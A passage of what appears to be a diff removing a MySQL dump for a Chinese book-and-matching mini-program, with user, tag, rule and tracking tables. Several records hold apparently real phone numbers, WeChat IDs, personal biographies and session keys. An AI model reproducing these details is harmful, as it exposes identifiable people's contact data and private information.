tinyint(1) NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_addresses --- ---------------------------- -INSERT INTO `user_addresses` VALUES ('addr_81326127997', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '干活的', '15260158253', '北京市', '北京市', '东城区', '风格', 0, '2026-02-13 06:46:21.329', '2026-02-13 06:46:21.329'); - --- ---------------------------- --- Table structure for user_rules --- ---------------------------- -DROP TABLE IF EXISTS `user_rules`; -CREATE TABLE `user_rules` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `trigger` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `enabled` tinyint(1) NULL DEFAULT 1, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_rules --- ---------------------------- -INSERT INTO `user_rules` VALUES (1, '注册完成 → 填写头像', '用户完成注册后,引导填写头像和昵称,提升个人信息完整度', '注册', 10, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (2, '完成匹配 → 补充个人资料', '用户完成 Soul 派对房匹配后,引导填写 MBTI、行业、职位等详细信息', '完成匹配', 20, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (3, '首次浏览章节 → 绑定手机号', '用户点击阅读收费章节时,引导绑定手机号以完成身份验证', '点击收费章节', 30, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (4, '付款 ¥1980 → 填写完整信息', '', '', 40, 1, '2026-03-08 01:20:52.358', '2026-03-08 08:12:42.983'); -INSERT INTO `user_rules` VALUES (5, '加入派对房 → 填写项目介绍', '进入 Soul 派对房前,引导填写个人项目介绍和核心需求,便于精准匹配', '加入派对房', 50, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (6, '浏览 5 个章节 → 分享推广', '用户累计阅读 5 个章节后,触发分享引导,邀请好友可获得收益', '累计浏览5章节', 60, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (7, '绑定微信 → 开启分销', '绑定微信后,提示用户开启分销功能,生成专属推广码', '绑定微信', 70, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (8, '收益达到 ¥50 → 申请提现', '累计分销收益超过 50 元时,引导用户申请提现', '收益满50元', 80, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); -INSERT INTO `user_rules` VALUES (9, '完善信息 → 进入流量池', '引导用户授权存客宝信息同步,进入对应微信流量池,获得精准服务', '手动触发', 90, 1, '2026-03-08 01:20:52.358', '2026-03-08 03:26:24.193'); -INSERT INTO `user_rules` VALUES (10, '浏览导师主页 → 预约咨询', '用户浏览导师详情页超过 30 秒,引导预约一对一咨询', '浏览导师页', 100, 1, '2026-03-08 01:20:52.358', '2026-03-08 01:20:52.358'); - --- ---------------------------- --- Table structure for user_tag_definitions --- ---------------------------- -DROP TABLE IF EXISTS `user_tag_definitions`; -CREATE TABLE `user_tag_definitions` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标签名称', - `category` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标签分类: system/ckb/behavior/source', - `color` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '#38bdac' COMMENT '标签颜色', - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '标签描述', - `is_active` tinyint(1) NULL DEFAULT 1 COMMENT '是否启用', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `name`(`name`) USING BTREE, - INDEX `idx_category`(`category`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户标签定义表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_tag_definitions --- ---------------------------- -INSERT INTO `user_tag_definitions` VALUES (1, '已购全书', 'system', '#22c55e', '购买了完整书籍', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (2, 'VIP用户', 'system', '#eab308', 'VIP会员', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (3, '活跃用户', 'behavior', '#38bdac', '最近7天有访问', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (4, '高价值用户', 'behavior', '#f59e0b', '消费超过100元', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (5, '推广达人', 'behavior', '#8b5cf6', '成功推荐5人以上', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (6, '微信用户', 'source', '#07c160', '通过微信授权登录', 1, '2026-01-29 16:57:03'); -INSERT INTO `user_tag_definitions` VALUES (7, '手动创建', 'source', '#6b7280', '后台手动创建', 1, '2026-01-29 16:57:03'); - --- ---------------------------- --- Table structure for user_tracks --- ---------------------------- -DROP TABLE IF EXISTS `user_tracks`; -CREATE TABLE `user_tracks` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户ID', - `action` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '行为类型', - `chapter_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '章节ID', - `target` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '目标对象', - `extra_data` json NULL COMMENT '额外数据', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_action`(`action`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户行为轨迹表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of user_tracks --- ---------------------------- -INSERT INTO `user_tracks` VALUES ('track_62242789', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'view_chapter', '9.20', '9.20', NULL, '2026-02-23 06:20:12'); -INSERT INTO `user_tracks` VALUES ('track_mm001i8ewy6bae', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'view_chapter', 'preface', 'preface', NULL, '2026-02-24 10:41:31'); - --- ---------------------------- --- Table structure for users --- ---------------------------- -DROP TABLE IF EXISTS `users`; -CREATE TABLE `users` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `open_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `mbti` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', - `region` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', - `industry` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', - `position` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '职位', - `business_scale` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '业务体量', - `skills` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我擅长', - `story_best_month` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '最赚钱的一个月', - `story_achievement` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '最有成就感的事', - `story_turning` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '人生转折点', - `help_offer` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我能帮助大家什么', - `help_need` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '我需要什么帮助', - `project_intro` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '项目介绍', - `referral_code` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `purchased_sections` json NULL, - `has_full_book` tinyint(1) NULL DEFAULT 0, - `earnings` decimal(10, 2) NULL DEFAULT 0.00, - `pending_earnings` decimal(10, 2) NULL DEFAULT 0.00, - `referral_count` int(11) NULL DEFAULT 0, - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - `password` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `session_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `referred_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `is_admin` tinyint(1) NULL DEFAULT 0, - `match_count_today` int(11) NULL DEFAULT 0, - `last_match_date` date NULL DEFAULT NULL, - `withdrawn_earnings` decimal(10, 2) NULL DEFAULT 0.00, - `ckb_user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '存客宝用户ID', - `ckb_synced_at` datetime NULL DEFAULT NULL COMMENT '最后同步时间', - `ckb_tags` json NULL COMMENT '存客宝标签', - `tags` json NULL COMMENT '系统标签', - `source_tags` json NULL COMMENT '来源标签', - `merged_tags` json NULL COMMENT '合并后的标签', - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '用户来源', - `created_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '创建人', - `matched_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '匹配人', - `is_vip` tinyint(1) NULL DEFAULT 0, - `vip_expire_date` datetime NULL DEFAULT NULL, - `vip_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_project` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_contact` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `vip_bio` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `view_count` int(11) NULL DEFAULT 0, - `purchase_count` int(11) NULL DEFAULT 0, - `vip_activated_at` datetime NULL DEFAULT NULL COMMENT '成为VIP时间,付款=pay_time,手动=now,排序用', - `vip_sort` int(11) NULL DEFAULT NULL COMMENT '手动排序,越小越前', - `vip_role` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '角色:从 vip_roles 选或手动填写', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `open_id`(`open_id`) USING BTREE, - UNIQUE INDEX `referral_code`(`referral_code`) USING BTREE, - INDEX `idx_open_id`(`open_id`) USING BTREE, - INDEX `idx_referral_code`(`referral_code`) USING BTREE, - INDEX `idx_phone`(`phone`) USING BTREE, - INDEX `idx_referred_by`(`referred_by`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of users --- ---------------------------- -INSERT INTO `users` VALUES ('ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', 'https://soulapi.quwanzhi.com/uploads/avatars/1772697433514817497_h8mq3h.jpeg', '15260158253', 'flydo888', 'INFP', '泉州', '自媒体', '电商操盘手 / 运营合伙人', '年营收 300万+,全网粉丝 80万', '抖音带货、供应链搭建、精细化运营', '2022 年 3 月接了一个品牌全案策划项目,从 0 到 1 完成产品定位、视觉与推广规划,单月项目费 25 万,相当于平时大半年的收入。', '带过一名刚转行的新人,从不会写文案到能独立负责小红书、抖音内容,一年后她成为公司内容负责人,这种从零带起来的感觉很踏实。', '2020 年从大厂裸辞,做了一年自由撰稿人,收入不稳定但找到自己喜欢的方向,后来转型做品牌咨询,才确定现在的职业路径。', '123', '123', '', 'SOULGSPSQG', '[\"1.2\", \"1.4\", \"1.3\"]', 0, 0.00, 0.00, 2, '2026-01-29 14:21:24', '2026-03-10 13:03:10', NULL, 'iACYj5ODZSLbnXUeXnJIbA==', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-23 16:00:00', '乘风', '存客宝', '13144454423', 'https://souldev.quwanzhi.com/uploads/avatars/1772174037428476361_s98qi3.png', '存客宝是世界上最好的公司!', 0, 0, '2026-03-05 07:21:43', NULL, '创始人'); -INSERT INTO `users` VALUES ('ogpTW5aca9PhE5Jsd5u4I6e_S3P0', 'ogpTW5aca9PhE5Jsd5u4I6e_S3P0', '微信用户S3P0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULE_S3P0', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:42:12', '2026-02-13 06:42:12', NULL, 'GcrFslIvtoDikl0T6AI3Zg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5acivPao0-jascoT41hc8DI', 'ogpTW5acivPao0-jascoT41hc8DI', '微信用户c8DI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL1HC8DI', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:00', '2026-03-07 01:26:00', NULL, '63jyGAnxKiA/aYYbgF89aw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5agbIMuRu9lkNeEG3B7i4tc', 'ogpTW5agbIMuRu9lkNeEG3B7i4tc', '微信用户i4tc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULB7I4TC', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:25:58', '2026-03-07 01:25:58', NULL, 'fy2C5fSdKs6+gj2b+Z6Hvw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5aTOnGtEGKpZi81tuNaAya0', 'ogpTW5aTOnGtEGKpZi81tuNaAya0', '微信用户Aya0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNAAYA0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:06', '2026-03-07 01:26:06', NULL, 'SK8S6/8EgCT2zaAPq3bozg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b_R0QykFikd2Zg29jrYCmE', 'ogpTW5b_R0QykFikd2Zg29jrYCmE', '微信用户YCmE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJRYCME', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:53', '2026-01-30 13:12:53', NULL, 'Aqn+jsmjs8bk88PvFHHifw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b-aXcb6oMrIl1Yfd9szi_E', 'ogpTW5b-aXcb6oMrIl1Yfd9szi_E', '微信用户zi_E', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL9SZI_E', '[]', 0, 0.00, 0.00, 0, '2026-03-03 13:55:32', '2026-03-03 13:55:32', NULL, '62tCxF2mIl6wrvuLRmIPHQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5b8DXrhFk7WsqIODy83nzSY', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', '微信用户nzSY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL83NZSY', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:40:47', '2026-03-10 10:40:47', NULL, 'MEtH3yqc0AHm2c3EJmjqxA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bDj-iMX9KlZqUfmoznn3L8', 'ogpTW5bDj-iMX9KlZqUfmoznn3L8', '微信用户n3L8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZNN3L8', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:47:47', '2026-02-02 09:47:47', NULL, 'TwPJpftimIeDRc1hmtCAqA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bfXI7rJWSJ1m1tsOWvFYGw', 'ogpTW5bfXI7rJWSJ1m1tsOWvFYGw', '微信用户FYGw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULWVFYGW', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:13', '2026-01-30 06:47:13', NULL, 'uY+n4AJOLkYuO7/vSp/7nA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bJ-5SHYxtl3p0KiiZvaids', 'ogpTW5bJ-5SHYxtl3p0KiiZvaids', '微信用户aids', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZVAIDS', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:35', '2026-03-07 01:26:35', NULL, '4KqMCh1cHfwSQ0QcngAa+w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bKCQWpIa9SMulB02bdsrRk', 'ogpTW5bKCQWpIa9SMulB02bdsrRk', '微信用户srRk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBDSRRK', '[]', 0, 0.00, 0.00, 0, '2026-02-12 10:12:47', '2026-02-12 10:12:47', NULL, 'EB72hT617Ezu+HWtTNZ9fA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '', '15559167826', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL59L_DM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:58:14', '2026-03-11 02:48:50', NULL, 'mSowFSn6C9Tlk6iRxEA8mA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bTVAL4LlYxH3EEweBrohHo', 'ogpTW5bTVAL4LlYxH3EEweBrohHo', '微信用户ohHo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBROHHO', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:50:12', '2026-02-13 06:50:12', NULL, '8F37te6o/+RMqdxWrZU11A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bUDkh9ATsOGHwrjYp2Z8r0', 'ogpTW5bUDkh9ATsOGHwrjYp2Z8r0', '微信用户Z8r0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULP2Z8R0', '[]', 0, 0.00, 0.00, 0, '2026-03-10 09:53:34', '2026-03-10 09:53:34', NULL, 'PJDfCfMYteZ/3j1BT9RC6g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bWCYxnHOCGzPDaVHl9X0XA', 'ogpTW5bWCYxnHOCGzPDaVHl9X0XA', '微信用户X0XA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULL9X0XA', '[]', 0, 0.00, 0.00, 0, '2026-03-10 08:16:35', '2026-03-10 08:16:35', NULL, '5xSD0M4FAeZ9zFS3yXd3IA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cBt44nWhhdjdYvdtIG5a4E', 'ogpTW5cBt44nWhhdjdYvdtIG5a4E', '微信用户5a4E', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIG5A4E', '[]', 0, 0.00, 0.00, 0, '2026-03-06 23:17:40', '2026-03-06 23:17:40', NULL, 'VTWisKv/TlmygPpQcWObRg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cQcdRzpGhX6N_ye8mEF_Pc', 'ogpTW5cQcdRzpGhX6N_ye8mEF_Pc', '微信用户F_Pc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMEF_PC', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:21:58', '2026-03-07 01:21:58', NULL, 'XiZN7cCTrRldEvQzDklNHA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', '微信用户JHqI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOCJHQI', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:10:16', '2026-03-07 01:10:16', NULL, 'pv1NRsUwjG1LlyTbQFZCGw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', 'https://soulapi.quwanzhi.com/uploads/avatars/1772530948799277155_3zsv3v.jpeg', '', 'xyz469003865', 'ISFP', '厦门', '互联网', '产品负责人', '', '', '', '', '', '产品设计、产品优化、AI咨询', '中老年直播带货合作', '', 'SOULDKWGSE', '[]', 0, 0.00, 0.00, 2, '2026-02-13 01:36:27', '2026-03-11 10:34:52', NULL, 'hUBH+K465yp+Y0ZOT+wdZw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-03-05 12:05:40', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-03-05 12:05:40', 3, NULL); -INSERT INTO `users` VALUES ('ogpTW5cVH5MPuucs9h6ksFeTAaJc', 'ogpTW5cVH5MPuucs9h6ksFeTAaJc', '微信用户AaJc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULETAAJC', '[]', 0, 0.00, 0.00, 0, '2026-03-06 09:12:12', '2026-03-06 09:12:12', NULL, 'SPL7ncIjYO2eyWL0FJReJQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '微信用户8aho', 'https://soulapi.quwanzhi.com/uploads/avatars/1772772823793203887_bu9f02.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMO8AHO', '[\"8.1\", \"9.12\", \"10.3\", \"9.13\"]', 0, 0.00, 0.00, 0, '2026-01-29 11:44:57', '2026-03-10 05:20:35', NULL, 'NvxWU0H48JdD3L4/SQF5Fw==', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2028-01-09 16:00:00', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-03-10 05:20:35', NULL, '投资人'); -INSERT INTO `users` VALUES ('ogpTW5dBNnNpqttcxUbMBlG75Q38', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '微信用户5Q38', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULG75Q38', '[]', 0, 0.00, 0.00, 0, '2026-02-12 09:37:11', '2026-03-05 06:29:50', NULL, 